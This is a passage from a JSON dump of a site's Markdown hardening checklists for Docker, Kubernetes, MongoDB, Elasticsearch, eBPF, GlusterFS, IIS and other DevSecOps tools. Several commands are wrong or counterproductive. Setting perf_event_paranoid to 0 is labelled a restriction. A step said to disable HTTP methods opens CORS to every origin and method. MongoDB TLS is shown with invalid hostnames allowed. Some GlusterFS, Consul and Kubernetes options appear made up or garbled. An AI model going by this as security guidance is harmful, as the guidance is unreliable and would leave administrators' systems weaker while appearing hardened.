DDoS attacks\t\n\n```\nconsul rate-limiting enable; consul rate-limiting config set -max-burst 1000 -rate 100\n```\n\n\n\n\n### Set up backup and recovery procedures for Consul data\t\t\n\n\n```\nconsul snapshot save /path/to/snapshot; consul snapshot restore /path/to/snapshot\n```\n\n\n\n"
  },
  {
    "path": "docs/checklists/couchdb.md",
    "content": "---\nlayout: default\ntitle: CouchDB\nparent: Checklists\n---\n\n# CouchDB Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden CouchDB for DevSecOps\n\n\n### Disable admin party\t \n\n\nEdit the CouchDB configuration file `local.ini` located at `/opt/couchdb/etc/couchdb/`. Change the line `; [admins] to [admins]`, and add your admin username and password. Save and exit the file. Restart CouchDB. Example command: `sudo nano /opt/couchdb/etc/couchdb/local.ini`\n\n\n### Restrict access to configuration files\t\n\nChange the owner and group of the CouchDB configuration directory `/opt/couchdb/etc/couchdb/` to the CouchDB user and group. Example command: `sudo chown -R couchdb:couchdb /opt/couchdb/etc/couchdb/`\n\n\n### Use SSL/TLS encryption\t\n\nCreate SSL/TLS certificates and configure CouchDB to use HTTPS. Example command for creating self-signed certificates: `sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/couchdb.key -out /etc/ssl/certs/couchdb.crt`\n\n\n### Limit access to ports\t\n\nUse a firewall to limit access to only the necessary ports. Example command using `ufw`: `sudo ufw allow from 192.168.1.0/24 to any port 5984`\n\n\n### Update CouchDB regularly\t\n\nInstall updates and security patches regularly to keep the system secure. Example command for updating packages: `sudo apt-get update && sudo apt-get upgrade`\n"
  },
  {
    "path": "docs/checklists/docker.md",
    "content": "---\nlayout: default\ntitle: Docker\nparent: Checklists\n---\n\n# Docker Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Docker for DevSecOps\n\n\n### Enable Docker Content Trust\n\n\n```\nexport DOCKER_CONTENT_TRUST=1\n```\n\n\n### Restrict communication with Docker daemon to local socket\n\n\nsudo chmod 660 /var/run/docker.sock<br>sudo chgrp docker /var/run/docker.sock\n\n\n\n### Enable Docker Swarm Mode\t\n\ndocker swarm init\n\n\n### Set up network security for Docker Swarm\n\n\ndocker network create --driver overlay my-network\n\n### Implement resource constraints on Docker containers\n\n```\ndocker run --cpu-quota=50000 --memory=512m my-image\n```\n\n### Use Docker Secrets to protect sensitive data\n\n\n```\ndocker secret create my-secret my-secret-data.txt\n```\n\n\n### Limit access to Docker APIs\n\n\n\nUse a reverse proxy like NGINX or Apache to limit access to the Docker API endpoint\n\n\n\n### Rotate Docker TLS certificates regularly\t\n\n\n```\ndockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376\n```\n\n\n\n### Use non-root user\t\n\n\n```\nuser: <non-root-user>\n```\n\n\n### Limit container capabilities\t\n\n\n```\ncap_drop: [CAP_SYS_ADMIN]\n```\n\n\n### Restrict container resources\t\n\n\n```\nresources:\n\t limits:\n\t \t cpus: 0.5\n\t \t memory: 512M\n```\n\n\n### Enable read-only file system\t\n\n\n```\nread_only: true\n```\n\n\n### Set container restart policy\t\n\n\n```\nrestart: unless-stopped\n```\n\n\n### Use TLS/SSL for secure communication\t\n\n\n```\ndocker run -d -p 443:443 --name registry -v /path/to/certs:/certs -e REGISTRY_HTTP_TLS_CERTIFICATE=/certs/domain.crt -e REGISTRY_HTTP_TLS_KEY=/certs/domain.key registry:latest\n```\n\n\n\n### Enable authentication\t\n\n\n```\ndocker run -d -p 443:443 --name registry -v /path/to/auth:/auth -e REGISTRY_AUTH=htpasswd -e \"REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm\" -e REGISTRY_AUTH_HTPASSWD_PATH=/auth/htpasswd registry:latest\n```\n\n\n### Limit access to trusted clients\t\n\n\n```\ndocker run -d -p 443:443 --name registry -e REGISTRY_HTTP_SECRET=mysecret registry:latest\n```\n\n\n### Implement access control policies\t\n\n\n```\ndocker run -d -p 443:443 --name registry -v /path/to/config.yml:/etc/docker/registry/config.yml registry:latest\n```\n\n\n### Enable content trust (image signing)\t\t\n\n\n```\nexport DOCKER_CONTENT_TRUST=1\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/checklists/ebpf.md",
    "content": "---\nlayout: default\ntitle: eBPF\nparent: Checklists\n---\n\n# eBPF Security Checklist for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to eBPF for DevSecOps\n\n\n\n\n### Enable eBPF hardening \n\n```\necho 1 > /proc/sys/net/core/bpf_jit_harden\n```\n\n\n### Limit eBPF program load \n\n```\nsetcap cap_bpf=e /path/to/program\n```\n\n### Restrict eBPF tracepoints access      \n\n```\necho 0 > /proc/sys/kernel/perf_event_paranoid\n```\n\n\n### Use eBPF to monitor system calls \n\n```\nbpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'\n```\n\n### Enable eBPF-based security monitoring    \n\n```\nbpftool prog load secmon.bpf /sys/fs/bpf/\n```\n\n### Limit eBPF map operations \n\n```\nbpftool map create /sys/fs/bpf/my_map type hash key 4 value 4 entries 1024\n```\n\n### Regularly update eBPF tools and libraries\n\n```\napt-get update && apt-get upgrade libbpf-tools\n```\n"
  },
  {
    "path": "docs/checklists/elasticsearch.md",
    "content": "---\nlayout: default\ntitle: Elasticsearch\nparent: Checklists\n---\n\n# Elasticsearch Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Elasticsearch for DevSecOps\n\n\n### Disable dynamic scripting and disable inline scripts\t \n\n\nsudo nano /etc/elasticsearch/elasticsearch.yml<br> Set the following configurations:<br>script.inline: false<br>script.stored: false<br>script.engine: \"groovy\"\n\n\n\n### Disable unused HTTP methods\n\n\n`sudo nano /etc/elasticsearch/elasticsearch.yml` Add the following configuration:<br>`http.enabled: true`<br>`http.cors.allow-origin: \"/.*/\"``http.cors.enabled: true`<br>`http.cors.allow-methods: HEAD,GET,POST,PUT,DELETE,OPTIONS`<br>`http.cors.allow-headers: \"X-Requested-With,Content-Type,Content-Length\"`<br>`http.max_content_length: 100mb`\n\n\n\n### Restrict access to Elasticsearch ports\t\t\n\n`sudo nano /etc/sysconfig/iptables`<br> Add the following rules to only allow incoming connections from trusted IP addresses:<br>`-A INPUT -p tcp -m tcp --dport 9200 -s 10.0.0.0/8 -j ACCEPT`<br>`-A INPUT -p tcp -m tcp --dport 9200 -s 192.168.0.0/16 -j ACCEPT`<br>`-A INPUT -p tcp -m tcp --dport 9200 -j DROP`<br>Restart the iptables service to apply changes.<br>`sudo service iptables restart`\n\n\n\n### Use a reverse proxy to secure Elasticsearch\t\n\nSet up a reverse proxy (e.g. Nginx, Apache) in front of Elasticsearch and configure SSL/TLS encryption and authentication.\n\n"
  },
  {
    "path": "docs/checklists/etcd.md",
    "content": "---\nlayout: default\ntitle: etcd\nparent: Checklists\n---\n\n# etcd Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden etcd for DevSecOps\n\n\n### Enable authentication for etcd\t \n\n```\netcd --auth-enable=true\n```\n\n### Configure TLS encryption for etcd communication\t\n\n```\netcd --cert-file=/path/to/cert.pem --key-file=/path/to/key.pem --client-cert-auth=true --trusted-ca-file=/path/to/ca.pem\n``` \n\n### Enable etcd access control lists (ACLs)\t\n\n\n```\nEnable etcd access control lists (ACLs)\n```\n\n### Limit network access to etcd ports\t\n\n```\niptables -A INPUT -p tcp --dport 2379 -j DROP\n```\n"
  },
  {
    "path": "docs/checklists/git.md",
    "content": "---\nlayout: default\ntitle: Git\nparent: Checklists\n---\n\n# Git Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Git for DevSecOps\n\n\n### Enable GPG signature verification\t\t\n\n```\ngit config --global commit.gpgsign true\n```\n\n\n### Set a strong passphrase for GPG key\t\n\n\ngpg --edit-key <KEY_ID> and then use the passwd command to set a strong passphrase\n\n\n### Use HTTPS instead of SSH for remote repositories\n\n\n```\ngit config --global url.\"https://\".insteadOf git://\n```\n\n\n### Enable two-factor authentication\t\n\nEnable it through the Git service provider's website\n\n\n### Set Git to ignore file mode changes\n\n\n```\ngit config --global core.fileMode false\n```\n\n### Configure Git to use a credential helper\n\n`git config --global credential.helper <helper>` where `<helper>` is the name of the credential helper (e.g., `manager`, `store`)\n\n\n### Use signed commits\n\n```\ngit commit -S\n```\n or \n\n```\n git config --global commit.gpgsign true\n```\n\n\n\n### Set Git to automatically prune stale remote-tracking branches\n\n```\ngit config --global fetch.prune true\n```\n\n\n### Set Git to always rebase instead of merge when pulling\n\n\n```\ngit config --global pull.rebase true\n```\n\n\n### Use Git's `ignore` feature to exclude sensitive files\t\n\n\n\nAdd files or file patterns to the `.gitignore` file\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/checklists/gitlab.md",
    "content": "---\nlayout: default\ntitle: Gitlab\nparent: Checklists\n---\n\n# Gitlab Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Gitlab for DevSecOps\n\n\n### Update GitLab to the latest version\t\n\n\n```\nsudo apt-get update && sudo apt-get upgrade gitlab-ee\n```\n\n\n### Enable SSL/TLS for GitLab\t\n\n\nEdit /etc/gitlab/gitlab.rb and add the following lines: <br>external_url 'https://gitlab.example.com'<br>nginx['redirect_http_to_https'] = true<br>nginx['ssl_certificate'] = \"/etc/gitlab/ssl/gitlab.example.com.crt\"<br>nginx['ssl_certificate_key'] = \"/etc/gitlab/ssl/gitlab.example.com.key\"<br>gitlab_rails['gitlab_https'] = true<br>gitlab_rails['trusted_proxies'] = ['192.168.1.1'] (replace 192.168.1.1 with the IP address of your proxy) <br> Then run sudo gitlab-ctl reconfigure\n\n\n\n### Disable GitLab sign up\t\n\nEdit /etc/gitlab/gitlab.rb and add the following line:<br>gitlab_rails['gitlab_signup_enabled'] = false <br> Then run sudo gitlab-ctl reconfigure\n\n\n\n### Set a strong password policy\n\n\nEdit /etc/gitlab/gitlab.rb and add the following lines: <br>gitlab_rails['password_minimum_length'] = 12<br>gitlab_rails['password_complexity'] = 2<br> Then run sudo gitlab-ctl reconfigure\n\n\n### Limit the maximum file size\n\nEdit /etc/gitlab/gitlab.rb and add the following line:<br>gitlab_rails['max_attachment_size'] = 10.megabytes <br> Then run sudo gitlab-ctl reconfigure\n\n\n### Enable two-factor authentication (2FA)\n\nGo to GitLab's web interface, click on your profile picture in the top-right corner, and select \"Settings\". Then select \"Account\" from the left-hand menu and follow the prompts to set up 2FA.\n\n\n\n### Enable audit logging\t\n\nEdit /etc/gitlab/gitlab.rb and add the following line:<br>gitlab_rails['audit_events_enabled'] = true<br> Then run sudo gitlab-ctl reconfigure\n\n\n\n### Configure GitLab backups\t\t\n\n\nEdit /etc/gitlab/gitlab.rb and add the following lines:<br>gitlab_rails['backup_keep_time'] = 604800<br>gitlab_rails['backup_archive_permissions'] = 0644<br>gitlab_rails['backup_pg_schema'] = 'public'<br>gitlab_rails['backup_path'] = \"/var/opt/gitlab/backups\"<br> Then run sudo gitlab-ctl reconfigure\n\n\n\n### Restrict SSH access\n\n\nEdit /etc/gitlab/gitlab.rb and add the following line:<br>gitlab_rails['gitlab_shell_ssh_port'] = 22<br> Then run sudo gitlab-ctl reconfigure\n\n\n### Enable firewall rules\n\n\nConfigure your firewall to only allow incoming traffic on ports that are necessary for GitLab to function, such as 80, 443, and 22. Consult your firewall documentation for instructions on how to configure the firewall rules.\n\n"
  },
  {
    "path": "docs/checklists/glusterfs.md",
    "content": "---\nlayout: default\ntitle: GlusterFS\nparent: Checklists\n---\n\n# GlusterFS Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden GlusterFS for DevSecOps\n\n\n### Disable insecure management protocols\t\t \n\n\n```\ngluster volume set <volname> network.remote-dio.disable on\n```\n\n\n### Enable SSL encryption for management\n\n\n```\ngluster volume set <volname> network.remote.ssl-enabled on\n```\n\n\n### Limit access to trusted clients\t\t\n\n\n```\ngluster volume set <volname> auth.allow <comma-separated list of trusted IPs>\n```\n\n\n### Enable client-side SSL encryption\n\n\n```\ngluster volume set <volname> client.ssl on\n```\n\n### Enable authentication for client connections\t\n\n```\ngluster volume set <volname> client.auth on\n```\n\n### Set proper permissions for GlusterFS files and directories\t\n\n```\nchown -R root:glusterfs /etc/glusterfs /var/lib/glusterd /var/log/glusterfs\n```\n\n### Disable root access to GlusterFS volumes\t\n\n```\ngluster volume set <volname> auth.reject-unauthorized on\n```\n\n### Enable TLS encryption for GlusterFS traffic\t\n\n```\ngluster volume set <volname> transport-type \n```\n\n\n### Monitor GlusterFS logs for security events\t\n\n```\ntail -f /var/log/glusterfs/glusterd.log\n```"
  },
  {
    "path": "docs/checklists/gradle.md",
    "content": "---\nlayout: default\ntitle: Gradle\nparent: Checklists\n---\n\n# Gradle Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Gradle for DevSecOps\n\n\n### Use the latest stable version of Gradle\t\n\n\n\nCheck the latest version on the official website: https://gradle.org/releases/, and then install it. For example: wget https://services.gradle.org/distributions/gradle-7.0.2-bin.zip, unzip gradle-7.0.2-bin.zip, and set the PATH environment variable to the Gradle bin directory.\n\n\n\n### Disable or restrict Gradle daemon\t\n\n\nYou can disable the daemon by adding the following line to the gradle.properties file: org.gradle.daemon=false. Alternatively, you can restrict the maximum amount of memory that can be used by the daemon by setting the org.gradle.jvmargs property.\n\n\n### Configure Gradle to use HTTPS for all repositories\t\n\nAdd the following code to the build.gradle file to enforce using HTTPS for all repositories:\n\n```\nallprojects {\n    repositories {\n        mavenCentral {\n            url \"https://repo1.maven.org/maven2/\"\n        }\n        maven {\n            url \"https://plugins.gradle.org/m2/\"\n        }\n    }\n}\n\n```\n\n\n### Use secure credentials for accessing repositories\n\nUse encrypted credentials in the `build.gradle` file or environment variables for accessing repositories.\n\n\n### Use plugins and dependencies from trusted sources only\n\nUse plugins and dependencies from official sources, and avoid using those from unknown or untrusted sources. \n\n\n### Implement access controls for Gradle builds\n\nImplement access controls to ensure that only authorized users can execute or modify Gradle builds.\n\n\n\n### Regularly update Gradle and plugins\n\nRegularly update Gradle and its plugins to ensure that security vulnerabilities are fixed and new features are added. Use the `gradle wrapper` command to ensure that all team members use the same version of Gradle.\n\n\n"
  },
  {
    "path": "docs/checklists/graphite.md",
    "content": "---\nlayout: default\ntitle: Graphite\nparent: Checklists\n---\n\n# Graphite Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Graphite for DevSecOps\n\n\n### Disable debug mode\t \n\n\n```\nsed -i 's/DEBUG = True/DEBUG = False/g' /opt/graphite/webapp/graphite/local_settings.py\n```\n\n\n### Set a strong secret key for Django\t\n\n\n```\nsed -i \"s/SECRET_KEY = 'UNSAFE_DEFAULT'/SECRET_KEY = 'your-strong-secret-key-here'/g\" /opt/graphite/webapp/graphite/local_settings.py\n```\n\n\n### Enable HTTPS\n\n\n```\nInstall a SSL certificate and configure NGINX to serve Graphite over HTTPS\n```\n\n\n### Restrict access to Graphite web interface\n\n\n```\nConfigure NGINX to require authentication or restrict access to specific IP addresses\n```\n\n### Restrict access to Graphite API\t\n\nConfigure NGINX to require authentication or restrict access to specific IP addresses\n\n\n### Disable unused Graphite components\t\t\n\nRemove unused Carbon cache backends or Django apps to reduce attack surface\n\n\n### Enable authentication for Graphite data ingestion\t\n\nConfigure Carbon to require authentication for incoming data\n\n\n### Enable Graphite logging\t\n\nConfigure Graphite to log access and error messages for easier troubleshooting\n\n\n\n### Monitor Graphite metrics\n\nUse a monitoring tool like Prometheus or Nagios to monitor Graphite metrics and detect any anomalies\n\n\n\n\n\n### Keep Graphite up-to-date\n\nRegularly update Graphite and its dependencies to address any known security vulnerabilities\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/checklists/iis.md",
    "content": "---\nlayout: default\ntitle: IIS\nparent: Checklists\n---\n\n# IIS Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden IIS for DevSecOps\n\n\n### Disable directory browsing\t \n\n```\nSet-WebConfigurationProperty -filter /system.webServer/directoryBrowse -PSPath \"IIS:\\Sites\\Default Web Site\" -name enabled -value $false\n```\n\n### Remove unneeded HTTP headers \n\n```\nRemove-WebConfigurationProperty -filter \"system.webServer/httpProtocol/customHeaders\" -name .\"X-Powered-By\"\n```\n\n### Set secure HTTP response headers \n\n```\nAdd-WebConfigurationProperty -filter \"system.webServer/staticContent\" -name \"clientCache.cacheControlMode\" -value \"UseMaxAge\"<br>Set-WebConfigurationProperty -filter \"system.webServer/staticContent/clientCache\" -name \"cacheControlMaxAge\" -value \"365.00:00:00\"<br>Add-WebConfigurationProperty -filter \"system.webServer/httpProtocol/customHeaders\" -name \"X-Content-Type-Options\" -value \"nosniff\"<br>Add-WebConfigurationProperty -filter \"system.webServer/httpProtocol/customHeaders\" -name \"X-Frame-Options\" -value \"SAMEORIGIN\"<br>Add-WebConfigurationProperty -filter \"system.webServer/httpProtocol/customHeaders\" -name \"X-XSS-Protection\" -value \"1; mode=block\"\n```\n\n### Enable HTTPS and configure SSL/TLS settings \n\n```\nNew-WebBinding -Name \"Default Web Site\" -Protocol https -Port 443 -IPAddress \"*\" -SslFlags 1<br>Set-ItemProperty -Path IIS:\\SslBindings\\0.0.0.0!443 -Name \"SslFlags\" -Value \"1\"<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/iisClientCertificateMappingAuthentication\" -name enabled -value $false<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/anonymousAuthentication\" -name enabled -value $false<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/basicAuthentication\" -name enabled -value $false<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/digestAuthentication\" -name enabled -value $false<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/windowsAuthentication\" -name enabled -value $true<br>Set-WebConfigurationProperty -filter \"system.webServer/security/authentication/windowsAuthentication\" -name useKernelMode -value $true\n```\n\n### Restrict access to files and directories\t \n\n```\nSet-WebConfigurationProperty -filter \"/system.webServer/security/requestFiltering/fileExtensions\" -name \".\" -value @{allowed=\"$false\"}<br>Set-WebConfigurationProperty -filter \"/system.webServer/security/requestFiltering/hiddenSegments\" -name \".\" -value @{allowed=\"$false\"}<br>Set-WebConfigurationProperty -filter \"/system.webServer/security/requestFiltering/denyUrlSequences\" -name \".\" -value @{add=\"$false\"}\n```\n\n### Enable logging and configure log settings\t \n\n```\nSet-WebConfigurationProperty -filter \"/system.webServer/httpLogging\" -name dontLog -value $false\n```\n\nor\n\n```\nSet-WebConfigurationProperty -filter \"/system.webServer/httpLogging\" -name logExtFileFlags -value \"Date, Time, ClientIP, UserName, SiteName, ComputerName, ServerIP, Method, UriStem, UriQuery, HttpStatus, Win32Status, BytesSent, BytesRecv, TimeTaken \n```"
  },
  {
    "path": "docs/checklists/jenkins.md",
    "content": "---\nlayout: default\ntitle: Jenkins\nparent: Checklists\n---\n\n# Jenkins Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Jenkins for DevSecOps\n\n\n### Enable security\n\n\nGo to \"Manage Jenkins\" -> \"Configure Global Security\" and select \"Enable security\"\n\n\n\n### Use secure connection\t\n\n\nGo to \"Manage Jenkins\" -> \"Configure Global Security\" and select \"Require secure connections\"\n\n\n\n### Restrict project access\t\n\nGo to the project configuration -> \"Configure\" -> \"Enable project-based security\"\n\n\n\n### Use plugins with caution\n\n\nInstall only necessary plugins from trusted sources and regularly update them\n\n\n### Limit user permissions\n\nAssign minimal necessary permissions to each user or group\n\n\n\n### Use credentials securely\n\nStore credentials in Jenkins credentials store and use them only where necessary\n\n\n\n\n\n### Regularly update Jenkins\t\n\nKeep Jenkins updated with the latest security patches and updates\n\n\n\n### Enable audit logging\t\t\n\n\nEnable audit logging to track and investigate security incidents\n\n\n\n### Secure access to Jenkins server\t\n\n\nLimit access to Jenkins server by configuring firewall rules and setting up VPN access\n\n\n\n### Use Jenkins agent securely\t\n\n\nUse secure connections between Jenkins master and agents and limit access to agents\n\n\n\n### Use build tools securely\t\n\n\nUse secure and updated build tools and avoid using system tools or commands directly in build scripts\n\n\n\n### Follow secure coding practices\t\n\n\nFollow secure coding practices to avoid introducing vulnerabilities in build scripts or plugins\n"
  },
  {
    "path": "docs/checklists/kubernetes.md",
    "content": "---\nlayout: default\ntitle: Kubernetes\nparent: Checklists\n---\n\n# Kuberneties Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Kuberneties for DevSecOps\n\n\n### Restrict Kubernetes API access to specific IP ranges\n\n\n\n`kubectl edit svc/kubernetes` <br> Update `spec.loadBalancerSourceRanges`\n\n\n\n### Use Role-Based Access Control (RBAC)\n\n\n```\nkubectl create serviceaccount <name> <br> kubectl create clusterrolebinding <name> --clusterrole=<role> --serviceaccount=<namespace>:<name>\n```\n\n\n### Enable PodSecurityPolicy (PSP)\t\n\n```\nkubectl create serviceaccount psp-sa <br> kubectl create clusterrolebinding psp-binding --clusterrole=psp:vmxnet3 --serviceaccount=default:psp-sa\n```\n\n\n### Use Network Policies\n\n\n```\nkubectl apply -f networkpolicy.yml\n```\n\n### Enable Audit Logging\n\n```\nkubectl apply -f audit-policy.yaml <br> kubectl edit cm/kube-apiserver -n kube-system <br> Update --audit-log-path and --audit-policy-file\n```\n\n### Use Secure Service Endpoints\t\n\n\n```\nkubectl patch svc <svc-name> -p '{\"spec\": {\"publishNotReadyAddresses\": true, \"sessionAffinity\": \"ClientIP\"}}'\n```\n\n\n### Use Pod Security Context\n\n\n\n`kubectl create sa pod-sa` <br> `kubectl create rolebinding pod-sa --role=psp:vmxnet3 --serviceaccount=default:pod-sa`\n\n\n\n### Use Kubernetes Secrets\t\n\n```\nkubectl create secret generic <name> --from-file=<path-to-file>\n```\n\n\n\n### Enable Container Runtime Protection\t\n\n```\nkubectl apply -f falco.yaml\n```\n\n\n\n### Enable Admission Controllers\t\n\n\n`kubectl edit cm/kube-apiserver -n kube-system` <br> Update `--enable-admission-plugins`\n\n\n\n"
  },
  {
    "path": "docs/checklists/maven.md",
    "content": "n---\nlayout: default\ntitle: Maven\nparent: Checklists\n---\n\n# Maven Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Maven for DevSecOps\n\n\n### Use Maven Central with HTTPS\t\n\nSet Maven to use HTTPS when communicating with the Maven Central repository by adding the following to your `settings.xml` file:<br><br>`<mirrors><mirror><id>central</id><url>https://repo.maven.apache.org/maven2</url><mirrorOf>central</mirrorOf></mirror></mirrors>`\n\n\n\n### Verify PGP signatures\t\n\n\nDownload the .asc file for each dependency and plugin from Maven Central and verify its PGP signature using the gpg --verify command.\n\n\n### Limit repository access\t\n\nOnly grant repository access to trusted users and machines. Limit access to write operations where possible.\n\n\n\n### Use a private repository\n\nSet up a private Maven repository to store artifacts and dependencies that are not publicly available. This limits the risk of downloading compromised or malicious artifacts.\n\n\n### Use Maven wrapper\n\nUse the `mvnw` script or `mvnw.cmd` script on Windows instead of relying on a system-wide installation of Maven. This ensures that the same version of Maven is used across all environments and reduces the risk of dependency conflicts.\n\n\n### Scan for vulnerabilities\n\nUse a dependency scanner such as OWASP Dependency-Check or Snyk to scan for known vulnerabilities in your dependencies.\n\n\n### Use least privilege\n\nUse the principle of least privilege to limit the permissions of your Maven build process.\n\n\n\n### Enable verbose logging\n\nEnable verbose logging in Maven to capture more information about the build process. This can help diagnose issues and detect any suspicious behavior.\n\n\n\n### Keep Maven up-to-date\n\nKeep Maven and its plugins up-to-date to ensure that security vulnerabilities are addressed in a timely manner.\n"
  },
  {
    "path": "docs/checklists/memcached.md",
    "content": "---\nlayout: default\ntitle: Memcached\nparent: Checklists\n---\n\n# Memcached Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden Memcached for DevSecOps\n\n\n### Disable UDP listener\t\n\n\n```\nsed -i 's/^-U 0/#-U 0/g' /etc/sysconfig/memcached\n```\n\n\n### Enable SASL authentication\n\n\n\n`sed -i 's/^#-S/-S/g' /etc/sysconfig/memcached`<br>`yum install cyrus-sasl-plain`<br>`htpasswd -c /etc/sasl2/memcached-sasldb username`<br>`chmod 600 /etc/sasl2/memcached-sasldb`\n\n\n\n### Limit incoming traffic to known IP addresses\n\n\n```\niptables -A INPUT -p tcp --dport 11211 -s 192.168.1.100 -j ACCEPT\n```\n\n\n### Limit maximum memory usage\n\n\n```\necho 'CACHESIZE=\"128\"' > /etc/sysconfig/memcached\n```\n\n\n### Run as non-root user\t\n\n```\nsed -i 's/^-u root/-u memcached/g' /etc/sysconfig/memcached\n```\n\n\n\n### Enable logging\t\n\n`sed -i 's/^logfile/#logfile/g' /etc/sysconfig/memcached`<br>`mkdir /var/log/memcached`<br>`touch /var/log/memcached/memcached.log`<br>`chown memcached:memcached /var/log/memcached/memcached.log`<br>`sed -i 's/^#logfile/LOGFILE=\"\\/var\\/log\\/memcached\\/memcached.log\"/g' /etc/sysconfig/memcached`\n\n\n\n\n\n### Upgrade to the latest version\t\n\n```\nyum update memcached\n```\n\n\n\n\n### Disable unused flags\t\t\n\n\n`sed -i 's/^-I 1m/#-I 1m/g' /etc/sysconfig/memcached`<br>`sed -i 's/^-a 0765/#-a 0765/g' /etc/sysconfig/memcached`\n\n\n\n\n"
  },
  {
    "path": "docs/checklists/mongodb.md",
    "content": "---\nlayout: default\ntitle: MongoDB\nparent: Checklists\n---\n\n# MongoDB Hardening for DevSecOps\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>List of some best practices to harden MongoDB for DevSecOps\n\n\n### Disable HTTP interface\n\n\n```\nsed -i '/httpEnabled/ s/true/false/g' /etc/mongod.conf\n```\n\n\n### Enable authentication\t\n\n\n```\nsed -i '/security:/a \\ \\ \\ \\ authorization: enabled' /etc/mongod.conf\n```\n\n\n### Set strong password for admin user\t\n\n\n```\nmongo admin --eval \"db.createUser({user: 'admin', pwd: 'new_password_here', roles: ['root']})\"\n```\n\n\n### Disable unused network interfaces\t\n\n\n```\nsed -i '/net:/a \\ \\ \\ \\ bindIp: 127.0.0.1' /etc/mongod.conf\n```\n\n\n### Enable access control\t\t\n\n\n```\nsed -i '/security:/a \\ \\ \\ \\ authorization: enabled' /etc/mongod.conf\n```\n\n### Enable SSL/TLS encryption\t\n\n```\nmongod --sslMode requireSSL --sslPEMKeyFile /path/to/ssl/key.pem --sslCAFile /path/to/ca/ca.pem --sslAllowInvalidHostnames\n```\n\n### Enable audit logging\t\n\n```\nsed -i '/systemLog:/a \\ \\ \\ \\ destination: file\\n\\ \\ \\ \\ path: /var/log/mongodb/audit.log\\n\\ \\ \\ \\ logAppend: true\\n\\ \\ \\ \\ auditLog:\\n\\ \\ \\ \\ \\ \\ \\ \\ destination: file\\n\\ \\ \\ \\ \\ \\ \\ \\ format: JSON' /etc/mongod.conf\n```\n\n### Set appropriate file permissions\t\n\n```\nchown -R mongodb:mongodb /var/log/mongodb<br>chmod -R go-rwx /var/log/mongodb\n```\n\n### Disable unused MongoDB features\t\n\n```\nsed -i '/operationProfiling:/a \\ \\ \\ \\ mode: off' /etc/mongod.conf<br>sed -i '/setParameter:/a \\ \\ \\ \\ quiet: true' 